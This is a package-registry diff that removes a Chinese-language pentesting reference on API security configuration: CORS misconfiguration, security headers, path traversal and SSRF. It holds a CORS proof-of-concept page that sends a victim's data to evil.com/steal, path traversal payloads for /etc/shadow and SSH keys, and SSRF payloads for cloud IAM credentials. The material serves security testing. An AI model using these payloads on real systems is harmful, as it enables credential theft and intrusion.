opencode-api-security-testing 5.0.0 → 5.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +48 -48
- package/postinstall.mjs +40 -69
- package/references/references/README.md +0 -72
- package/references/references/asset-discovery.md +0 -119
- package/references/references/fuzzing-patterns.md +0 -129
- package/references/references/graphql-guidance.md +0 -108
- package/references/references/intake.md +0 -84
- package/references/references/pua-agent.md +0 -192
- package/references/references/report-template.md +0 -156
- package/references/references/rest-guidance.md +0 -76
- package/references/references/severity-model.md +0 -76
- package/references/references/test-matrix.md +0 -86
- package/references/references/validation.md +0 -78
- package/references/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/references/vulnerabilities/README.md +0 -148
- package/references/references/workflows.md +0 -192
- package/src/src/index.ts +0 -535
|
@@ -1,511 +0,0 @@
|
|
|
1
|
-
# 安全配置漏洞测试
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
安全配置漏洞包括 CORS 配置不当、安全响应头缺失、路径遍历等配置层面的安全问题。
|
|
6
|
-
|
|
7
|
-
## 2. CORS 配置测试
|
|
8
|
-
|
|
9
|
-
### 2.1 测试方法
|
|
10
|
-
|
|
11
|
-
```bash
|
|
12
|
-
# 1. 检查 CORS 响应头
|
|
13
|
-
GET /api/user/info
|
|
14
|
-
Origin: http://evil.com
|
|
15
|
-
|
|
16
|
-
# 检查响应
|
|
17
|
-
Access-Control-Allow-Origin: *
|
|
18
|
-
Access-Control-Allow-Credentials: true
|
|
19
|
-
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
|
|
20
|
-
Access-Control-Allow-Headers: *
|
|
21
|
-
```
|
|
22
|
-
|
|
23
|
-
### 2.2 风险判断
|
|
24
|
-
|
|
25
|
-
| 配置 | 风险等级 | 说明 |
|
|
26
|
-
|------|----------|------|
|
|
27
|
-
| `ACAO: *` + `ACAC: true` | 高 | 任何站点可获取用户数据 |
|
|
28
|
-
| `ACAO: *` | 中 | 仅可获取公开数据 |
|
|
29
|
-
| `ACAO: null` | 高 | 可能被绕过 |
|
|
30
|
-
| `ACAO: <恶意域名>` + `ACAC: true` | **严重** | 动态反射任意Origin且带凭证 |
|
|
31
|
-
| 具体域名(白名单) | 低 | 正常配置 |
|
|
32
|
-
|
|
33
|
-
### 2.3 动态Origin反射测试(重要!)
|
|
34
|
-
|
|
35
|
-
**实测发现的漏洞模式**:
|
|
36
|
-
```python
|
|
37
|
-
# 测试不同Origin的CORS响应
|
|
38
|
-
origins = [
|
|
39
|
-
"https://evil.com",
|
|
40
|
-
"https://attacker.com",
|
|
41
|
-
"https://console.ncszkpark.com",
|
|
42
|
-
"null",
|
|
43
|
-
]
|
|
44
|
-
|
|
45
|
-
for origin in origins:
|
|
46
|
-
r = requests.get(api_url, headers={"Origin": origin})
|
|
47
|
-
allow_origin = r.headers.get('Access-Control-Allow-Origin')
|
|
48
|
-
allow_cred = r.headers.get('Access-Control-Allow-Credentials')
|
|
49
|
-
|
|
50
|
-
print(f"Origin: {origin}")
|
|
51
|
-
print(f" Allow-Origin: {allow_origin}")
|
|
52
|
-
print(f" Allow-Credentials: {allow_cred}")
|
|
53
|
-
|
|
54
|
-
# 严重漏洞:对任意Origin都信任且允许凭证
|
|
55
|
-
if allow_origin == origin and allow_cred == 'true':
|
|
56
|
-
print(f" [严重CORS漏洞] Origin={origin} 被信任!")
|
|
57
|
-
```
|
|
58
|
-
|
|
59
|
-
**实际响应示例**:
|
|
60
|
-
```
|
|
61
|
-
Origin: https://evil.com
|
|
62
|
-
Allow-Origin: https://evil.com
|
|
63
|
-
Allow-Credentials: true
|
|
64
|
-
[严重CORS漏洞] Origin=https://evil.com 被信任!
|
|
65
|
-
|
|
66
|
-
Origin: https://attacker.com
|
|
67
|
-
Allow-Origin: https://attacker.com
|
|
68
|
-
Allow-Credentials: true
|
|
69
|
-
[严重CORS漏洞] Origin=https://attacker.com 被信任!
|
|
70
|
-
```
|
|
71
|
-
|
|
72
|
-
**与传统 * 通配符的区别**:
|
|
73
|
-
```
|
|
74
|
-
传统漏洞: ACAO: * (静态配置)
|
|
75
|
-
新漏洞: ACAO: <动态反射> + ACAC: true (动态配置错误)
|
|
76
|
-
|
|
77
|
-
两种都危险,但动态反射更难检测:
|
|
78
|
-
- 静态 * 容易被安全扫描发现
|
|
79
|
-
- 动态反射每个域名都信任,容易被忽略
|
|
80
|
-
```
|
|
81
|
-
|
|
82
|
-
### 2.4 利用条件
|
|
83
|
-
|
|
84
|
-
```javascript
|
|
85
|
-
// POC:利用 CORS 窃取用户数据
|
|
86
|
-
<!DOCTYPE html>
|
|
87
|
-
<html>
|
|
88
|
-
<body>
|
|
89
|
-
<script>
|
|
90
|
-
fetch('http://api/user/info', {
|
|
91
|
-
credentials: 'include'
|
|
92
|
-
}).then(resp => resp.json())
|
|
93
|
-
.then(data => {
|
|
94
|
-
fetch('http://evil.com/steal', {
|
|
95
|
-
method: 'POST',
|
|
96
|
-
body: JSON.stringify(data)
|
|
97
|
-
});
|
|
98
|
-
});
|
|
99
|
-
</script>
|
|
100
|
-
</body>
|
|
101
|
-
</html>
|
|
102
|
-
```
|
|
103
|
-
|
|
104
|
-
### 2.4 JSONP 利用
|
|
105
|
-
|
|
106
|
-
```bash
|
|
107
|
-
# 检查 JSONP 端点
|
|
108
|
-
GET /api/user/info?callback=alert
|
|
109
|
-
|
|
110
|
-
# 如果响应
|
|
111
|
-
alert({"userId": 1, "name": "admin"});
|
|
112
|
-
```
|
|
113
|
-
|
|
114
|
-
## 3. 安全响应头测试
|
|
115
|
-
|
|
116
|
-
### 3.1 必须存在的响应头
|
|
117
|
-
|
|
118
|
-
| 响应头 | 作用 | 安全风险 |
|
|
119
|
-
|--------|------|----------|
|
|
120
|
-
| X-Frame-Options | 防止点击劫持 | iframe 嵌入 |
|
|
121
|
-
| X-Content-Type-Options | 防止 MIME 嗅探 | 类型混淆 |
|
|
122
|
-
| X-XSS-Protection | XSS 过滤器 | 反射型 XSS |
|
|
123
|
-
| Content-Security-Policy | 内容安全策略 | XSS/注入 |
|
|
124
|
-
| Strict-Transport-Security | 强制 HTTPS | 中间人攻击 |
|
|
125
|
-
| Referrer-Policy | 引用来源控制 | 信息泄露 |
|
|
126
|
-
|
|
127
|
-
### 3.2 测试方法
|
|
128
|
-
|
|
129
|
-
```bash
|
|
130
|
-
# 获取所有响应头
|
|
131
|
-
curl -I http://api/
|
|
132
|
-
|
|
133
|
-
# 检查每个响应头
|
|
134
|
-
X-Frame-Options: DENY
|
|
135
|
-
X-Content-Type-Options: nosniff
|
|
136
|
-
X-XSS-Protection: 1; mode=block
|
|
137
|
-
Content-Security-Policy: default-src 'self'
|
|
138
|
-
Strict-Transport-Security: max-age=31536000
|
|
139
|
-
Referrer-Policy: no-referrer
|
|
140
|
-
```
|
|
141
|
-
|
|
142
|
-
### 3.3 响应头安全值
|
|
143
|
-
|
|
144
|
-
```bash
|
|
145
|
-
# X-Frame-Options
|
|
146
|
-
X-Frame-Options: DENY # 完全禁止
|
|
147
|
-
X-Frame-Options: SAMEORIGIN # 仅同源允许
|
|
148
|
-
|
|
149
|
-
# X-Content-Type-Options
|
|
150
|
-
X-Content-Type-Options: nosniff # 防止嗅探
|
|
151
|
-
|
|
152
|
-
# Content-Security-Policy
|
|
153
|
-
Content-Security-Policy: default-src 'self'; script-src 'self'
|
|
154
|
-
|
|
155
|
-
# Strict-Transport-Security
|
|
156
|
-
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
|
157
|
-
```
|
|
158
|
-
|
|
159
|
-
## 4. 路径遍历测试
|
|
160
|
-
|
|
161
|
-
### 4.1 测试 Payload
|
|
162
|
-
|
|
163
|
-
```bash
|
|
164
|
-
# 基础遍历
|
|
165
|
-
/file?path=../../etc/passwd
|
|
166
|
-
/file?path=../../../windows/system32/drivers/etc/hosts
|
|
167
|
-
|
|
168
|
-
# URL 编码
|
|
169
|
-
/file?path=..%2F..%2F..%2Fetc%2Fpasswd
|
|
170
|
-
/file?path=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
171
|
-
|
|
172
|
-
# 双编码
|
|
173
|
-
/file?path=%252e%252e%252f%252e%252e%252fetc%252fpasswd
|
|
174
|
-
|
|
175
|
-
# 空字节
|
|
176
|
-
/file?path=../../etc/passwd%00.txt
|
|
177
|
-
|
|
178
|
-
# 反斜杠(Windows)
|
|
179
|
-
/file?path=..\..\..\windows\system32\config\sam
|
|
180
|
-
```
|
|
181
|
-
|
|
182
|
-
### 4.2 常见路径
|
|
183
|
-
|
|
184
|
-
| 系统 | 文件 | 说明 |
|
|
185
|
-
|------|------|------|
|
|
186
|
-
| Linux | `/etc/passwd` | 用户列表 |
|
|
187
|
-
| Linux | `/etc/shadow` | 密码哈希 |
|
|
188
|
-
| Linux | `/root/.ssh/id_rsa` | SSH 私钥 |
|
|
189
|
-
| Windows | `C:\Windows\System32\config\SAM` | 用户账户 |
|
|
190
|
-
| Config | `/app/config.json` | 应用配置 |
|
|
191
|
-
| Config | `/app/.env` | 环境变量 |
|
|
192
|
-
|
|
193
|
-
### 4.3 利用链
|
|
194
|
-
|
|
195
|
-
```bash
|
|
196
|
-
# 1. 读取配置文件
|
|
197
|
-
GET /file?path=../../app/config.json
|
|
198
|
-
|
|
199
|
-
# 2. 获取数据库密码
|
|
200
|
-
GET /file?path=../../etc/passwd
|
|
201
|
-
|
|
202
|
-
# 3. SSH 私钥
|
|
203
|
-
GET /file?path=../../root/.ssh/id_rsa
|
|
204
|
-
```
|
|
205
|
-
|
|
206
|
-
## 5. SSRF 测试
|
|
207
|
-
|
|
208
|
-
### 5.1 测试点
|
|
209
|
-
|
|
210
|
-
```bash
|
|
211
|
-
# URL 参数
|
|
212
|
-
GET /api/fetch?url=http://example.com
|
|
213
|
-
GET /api/preview?url=https://internal.corp.local
|
|
214
|
-
|
|
215
|
-
# 文件读取
|
|
216
|
-
GET /api/load?file=http://evil.com/shell.php
|
|
217
|
-
|
|
218
|
-
# 图片加载
|
|
219
|
-
GET /api/image?url=http://internal.img/
|
|
220
|
-
```
|
|
221
|
-
|
|
222
|
-
### 5.2 SSRF Payload
|
|
223
|
-
|
|
224
|
-
```bash
|
|
225
|
-
# 本地地址
|
|
226
|
-
?url=http://127.0.0.1:80
|
|
227
|
-
?url=http://localhost:8080
|
|
228
|
-
?url=http://0.0.0.0:22
|
|
229
|
-
|
|
230
|
-
# 云元数据
|
|
231
|
-
?url=http://169.254.169.254/latest/meta-data/
|
|
232
|
-
?url=http://metadata.google.internal/computeMetadata/v1/
|
|
233
|
-
|
|
234
|
-
# 内网地址
|
|
235
|
-
?url=http://192.168.1.1
|
|
236
|
-
?url=http://10.0.0.1
|
|
237
|
-
?url=http://172.16.0.1
|
|
238
|
-
```
|
|
239
|
-
|
|
240
|
-
### 5.3 利用
|
|
241
|
-
|
|
242
|
-
```bash
|
|
243
|
-
# 读取云元数据
|
|
244
|
-
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
245
|
-
|
|
246
|
-
# 内网端口扫描
|
|
247
|
-
GET /api/fetch?url=http://192.168.1.1:22
|
|
248
|
-
|
|
249
|
-
# 读取内部文件
|
|
250
|
-
GET /api/fetch?url=file:///etc/passwd
|
|
251
|
-
```
|
|
252
|
-
|
|
253
|
-
## 6. 测试检查清单
|
|
254
|
-
|
|
255
|
-
```
|
|
256
|
-
□ CORS 配置测试(ACAO + ACAC)
|
|
257
|
-
□ JSONP 端点检测
|
|
258
|
-
□ 安全响应头缺失检测
|
|
259
|
-
□ 路径遍历测试(基础、编码、空字节)
|
|
260
|
-
□ SSRF 测试(内网、元数据)
|
|
261
|
-
□ 评估漏洞利用难度和影响
|
|
262
|
-
```
|
|
263
|
-
|
|
264
|
-
## 7. CORS误报判断标准
|
|
265
|
-
|
|
266
|
-
### 7.1 核心判断原则
|
|
267
|
-
|
|
268
|
-
```
|
|
269
|
-
【重要】CORS配置错误 ≠ 漏洞!
|
|
270
|
-
|
|
271
|
-
判断逻辑:
|
|
272
|
-
1. 先确认接口是否需要认证
|
|
273
|
-
2. 再确认返回数据是否为用户敏感信息
|
|
274
|
-
3. 最后判断CORS配置的实际风险
|
|
275
|
-
|
|
276
|
-
【真实CORS漏洞特征】
|
|
277
|
-
- 需要认证的接口(如 /user/info, /order/list)
|
|
278
|
-
- 返回用户私有数据(如手机号、地址、订单)
|
|
279
|
-
- 攻击者可以诱导用户访问恶意页面获取数据
|
|
280
|
-
|
|
281
|
-
【CORS误报特征】
|
|
282
|
-
- 公开接口(如 /news, /products)
|
|
283
|
-
- 返回的数据本来就可以公开访问
|
|
284
|
-
- 只是配置了ACAO:*但无ACAC
|
|
285
|
-
```
|
|
286
|
-
|
|
287
|
-
### 7.2 curl + 对比验证流程
|
|
288
|
-
|
|
289
|
-
```bash
|
|
290
|
-
#!/bin/bash
|
|
291
|
-
# CORS漏洞误报判断流程
|
|
292
|
-
|
|
293
|
-
TARGET="http://api"
|
|
294
|
-
|
|
295
|
-
echo "=== CORS误报判断 ==="
|
|
296
|
-
echo ""
|
|
297
|
-
|
|
298
|
-
# 1. 测试公开接口(应该配置CORS)
|
|
299
|
-
echo "[1] 测试公开接口"
|
|
300
|
-
curl -s -I -H "Origin: https://evil.com" "${TARGET}/public/news" | grep -iE "(access-control|content-type)"
|
|
301
|
-
echo ""
|
|
302
|
-
|
|
303
|
-
# 2. 测试需要认证的接口
|
|
304
|
-
echo "[2] 测试需要认证的接口"
|
|
305
|
-
curl -s -I -H "Origin: https://evil.com" "${TARGET}/user/info" | grep -iE "(access-control|content-type)"
|
|
306
|
-
echo ""
|
|
307
|
-
|
|
308
|
-
# 3. 检查CORS响应头
|
|
309
|
-
check_cors() {
|
|
310
|
-
local url=$1
|
|
311
|
-
local name=$2
|
|
312
|
-
|
|
313
|
-
echo "[$name] $url"
|
|
314
|
-
|
|
315
|
-
# 预检请求
|
|
316
|
-
OPTIONSResp=$(curl -s -I -X OPTIONS -H "Origin: https://evil.com" \
|
|
317
|
-
-H "Access-Control-Request-Method: GET" \
|
|
318
|
-
-H "Access-Control-Request-Headers: Authorization" \
|
|
319
|
-
"$url")
|
|
320
|
-
|
|
321
|
-
# GET请求
|
|
322
|
-
GETResp=$(curl -s -I -H "Origin: https://evil.com" "$url")
|
|
323
|
-
|
|
324
|
-
# 提取CORS头
|
|
325
|
-
ACAO=$(echo "$GETResp" | grep -i "Access-Control-Allow-Origin:" | tr -d '\r' || echo "未设置")
|
|
326
|
-
ACAC=$(echo "$GETResp" | grep -i "Access-Control-Allow-Credentials:" | tr -d '\r' || echo "未设置")
|
|
327
|
-
ACAM=$(echo "$OPTIONSResp" | grep -i "Access-Control-Allow-Methods:" | tr -d '\r' || echo "未设置")
|
|
328
|
-
|
|
329
|
-
echo " ACAO: $ACAO"
|
|
330
|
-
echo " ACAC: $ACAC"
|
|
331
|
-
echo " ACAM: $ACAM"
|
|
332
|
-
|
|
333
|
-
# 风险判断
|
|
334
|
-
if echo "$ACAO" | grep -q "https://evil.com\|*"; then
|
|
335
|
-
if echo "$ACAC" | grep -q "true"; then
|
|
336
|
-
echo " [高风险] 任意Origin允许携带凭证"
|
|
337
|
-
else
|
|
338
|
-
echo " [中风险] ACAO配置为*或反射Origin"
|
|
339
|
-
fi
|
|
340
|
-
fi
|
|
341
|
-
echo ""
|
|
342
|
-
}
|
|
343
|
-
|
|
344
|
-
# 测试各种接口
|
|
345
|
-
check_cors "${TARGET}/public/news" "公开接口"
|
|
346
|
-
check_cors "${TARGET}/user/info" "用户信息接口"
|
|
347
|
-
check_cors "${TARGET}/order/list" "订单接口"
|
|
348
|
-
```
|
|
349
|
-
|
|
350
|
-
### 7.3 多维度判断标准
|
|
351
|
-
|
|
352
|
-
```python
|
|
353
|
-
import requests
|
|
354
|
-
|
|
355
|
-
class CORSTester:
|
|
356
|
-
"""
|
|
357
|
-
CORS漏洞误报判断
|
|
358
|
-
|
|
359
|
-
【判断矩阵】
|
|
360
|
-
配置 | 需要认证 | 公开数据 | 用户私有数据
|
|
361
|
-
-----------------------|-------------|-------------|---------------
|
|
362
|
-
ACAO:* + ACAC:false | 中风险 | 低风险 | 中风险
|
|
363
|
-
ACAO:* + ACAC:true | 高风险 | 低风险 | 严重
|
|
364
|
-
ACAO:反射 + ACAC:false | 中风险 | 低风险 | 中风险
|
|
365
|
-
ACAO:反射 + ACAC:true | 严重 | 低风险 | 严重
|
|
366
|
-
白名单域名 | 低风险 | 低风险 | 低风险
|
|
367
|
-
"""
|
|
368
|
-
|
|
369
|
-
def __init__(self, target):
|
|
370
|
-
self.target = target
|
|
371
|
-
|
|
372
|
-
def get_cors_headers(self, url, origin="https://evil.com"):
|
|
373
|
-
"""获取CORS响应头"""
|
|
374
|
-
resp = requests.get(url, headers={"Origin": origin})
|
|
375
|
-
return {
|
|
376
|
-
'status': resp.status_code,
|
|
377
|
-
'acao': resp.headers.get('Access-Control-Allow-Origin', ''),
|
|
378
|
-
'acac': resp.headers.get('Access-Control-Allow-Credentials', ''),
|
|
379
|
-
'acam': resp.headers.get('Access-Control-Allow-Methods', ''),
|
|
380
|
-
'acah': resp.headers.get('Access-Control-Allow-Headers', ''),
|
|
381
|
-
'body_preview': resp.text[:500]
|
|
382
|
-
}
|
|
383
|
-
|
|
384
|
-
def is_public_endpoint(self, url):
|
|
385
|
-
"""
|
|
386
|
-
判断接口是否公开
|
|
387
|
-
|
|
388
|
-
【判断标准】
|
|
389
|
-
- URL包含 public, anonymous, open 等关键词
|
|
390
|
-
- 不需要 Authorization header
|
|
391
|
-
- 返回的数据不需要登录就能获取
|
|
392
|
-
"""
|
|
393
|
-
public_keywords = ['public', 'anonymous', 'open', 'login', 'signup', 'register']
|
|
394
|
-
return any(kw in url.lower() for kw in public_keywords)
|
|
395
|
-
|
|
396
|
-
def check_auth_required(self, url):
|
|
397
|
-
"""检查接口是否需要认证"""
|
|
398
|
-
resp = requests.get(url) # 无认证请求
|
|
399
|
-
if resp.status_code == 401:
|
|
400
|
-
return True # 需要认证
|
|
401
|
-
if resp.status_code == 200:
|
|
402
|
-
# 检查是否返回"请登录"等提示
|
|
403
|
-
if any(kw in resp.text.lower() for kw in ['login', '请登录', '未授权', 'unauthorized']):
|
|
404
|
-
return True
|
|
405
|
-
return False
|
|
406
|
-
|
|
407
|
-
def assess_cors_risk(self, url):
|
|
408
|
-
"""
|
|
409
|
-
评估CORS配置风险
|
|
410
|
-
|
|
411
|
-
Returns:
|
|
412
|
-
(is_vuln, severity, reason, details)
|
|
413
|
-
"""
|
|
414
|
-
# 1. 获取CORS配置
|
|
415
|
-
cors_info = self.get_cors_headers(url)
|
|
416
|
-
|
|
417
|
-
# 2. 判断是否为公开接口
|
|
418
|
-
is_public = self.is_public_endpoint(url)
|
|
419
|
-
|
|
420
|
-
# 3. 判断是否需要认证
|
|
421
|
-
needs_auth = self.check_auth_required(url)
|
|
422
|
-
|
|
423
|
-
# 4. 风险评估
|
|
424
|
-
acao = cors_info['acao']
|
|
425
|
-
acac = cors_info['acac']
|
|
426
|
-
|
|
427
|
-
# 无CORS头 → 安全
|
|
428
|
-
if not acao:
|
|
429
|
-
return False, "低", "未配置CORS", cors_info
|
|
430
|
-
|
|
431
|
-
# ACAO:* 无 ACAC → 中风险(可被利用但无凭证)
|
|
432
|
-
if acao == '*' and acac.lower() != 'true':
|
|
433
|
-
if is_public:
|
|
434
|
-
return False, "低", "公开接口配置ACAO:*但无凭证", cors_info
|
|
435
|
-
else:
|
|
436
|
-
return True, "中", "ACAO:*配置在高风险接口但无ACAC", cors_info
|
|
437
|
-
|
|
438
|
-
# ACAO:* + ACAC:true → 严重
|
|
439
|
-
if acao == '*' and acac.lower() == 'true':
|
|
440
|
-
return True, "严重", "ACAO:* + ACAC:true,任意站点可获取用户凭证", cors_info
|
|
441
|
-
|
|
442
|
-
# 反射Origin + ACAC:true → 严重
|
|
443
|
-
if acao and acao != '*' and acac.lower() == 'true':
|
|
444
|
-
return True, "严重", f"动态反射Origin({acao}) + ACAC:true", cors_info
|
|
445
|
-
|
|
446
|
-
# 反射Origin(无条件)→ 需要进一步分析
|
|
447
|
-
if acao and acao != '*':
|
|
448
|
-
if needs_auth:
|
|
449
|
-
return True, "高", f"反射Origin在需认证接口({acao})", cors_info
|
|
450
|
-
else:
|
|
451
|
-
return False, "中", f"反射Origin在公开接口({acao})", cors_info
|
|
452
|
-
|
|
453
|
-
return False, "低", "CORS配置正常", cors_info
|
|
454
|
-
|
|
455
|
-
# 使用示例
|
|
456
|
-
if __name__ == "__main__":
|
|
457
|
-
tester = CORSTester("http://api")
|
|
458
|
-
|
|
459
|
-
test_urls = [
|
|
460
|
-
"http://api/public/news",
|
|
461
|
-
"http://api/user/info",
|
|
462
|
-
"http://api/order/list",
|
|
463
|
-
"http://api/admin/users"
|
|
464
|
-
]
|
|
465
|
-
|
|
466
|
-
for url in test_urls:
|
|
467
|
-
is_vuln, severity, reason, details = tester.assess_cors_risk(url)
|
|
468
|
-
|
|
469
|
-
print(f"\n[{'VULN' if is_vuln else 'SAFE'}] {severity} - {url}")
|
|
470
|
-
print(f" 原因: {reason}")
|
|
471
|
-
print(f" 响应预览: {details['body_preview'][:200]}")
|
|
472
|
-
```
|
|
473
|
-
|
|
474
|
-
### 7.4 实战误报案例
|
|
475
|
-
|
|
476
|
-
```
|
|
477
|
-
【案例1:公开接口的CORS配置】
|
|
478
|
-
|
|
479
|
-
场景:/api/public/news 配置了 ACAO:*
|
|
480
|
-
|
|
481
|
-
curl -I -H "Origin: https://evil.com" /api/public/news
|
|
482
|
-
Access-Control-Allow-Origin: *
|
|
483
|
-
Content-Type: application/json
|
|
484
|
-
|
|
485
|
-
判断:
|
|
486
|
-
- 接口是否为公开接口?是(news)
|
|
487
|
-
- 返回数据是否敏感?否(新闻公开)
|
|
488
|
-
- 结论:【误报】无需修复
|
|
489
|
-
|
|
490
|
-
---
|
|
491
|
-
|
|
492
|
-
【案例2:用户接口的CORS配置】
|
|
493
|
-
|
|
494
|
-
场景:/api/user/info 配置了 ACAO:*
|
|
495
|
-
|
|
496
|
-
curl -I -H "Origin: https://evil.com" /api/user/info
|
|
497
|
-
Access-Control-Allow-Origin: *
|
|
498
|
-
Access-Control-Allow-Credentials: true
|
|
499
|
-
Content-Type: application/json
|
|
500
|
-
|
|
501
|
-
判断:
|
|
502
|
-
- 接口是否为公开接口?否(用户信息)
|
|
503
|
-
- 返回数据是否敏感?是(用户私有信息)
|
|
504
|
-
- 结论:【确认漏洞】攻击者可诱导用户访问恶意页面获取用户信息
|
|
505
|
-
```
|
|
506
|
-
|
|
507
|
-
| 发现的漏洞 | 关联漏洞 | 利用路径 |
|
|
508
|
-
|------------|----------|----------|
|
|
509
|
-
| CORS | CSRF、数据窃取 | 跨域获取用户数据 |
|
|
510
|
-
| 路径遍历 | 配置泄露、密钥获取 | 读取敏感文件 |
|
|
511
|
-
| SSRF | 内网渗透、云IAM | 访问内部服务 |
|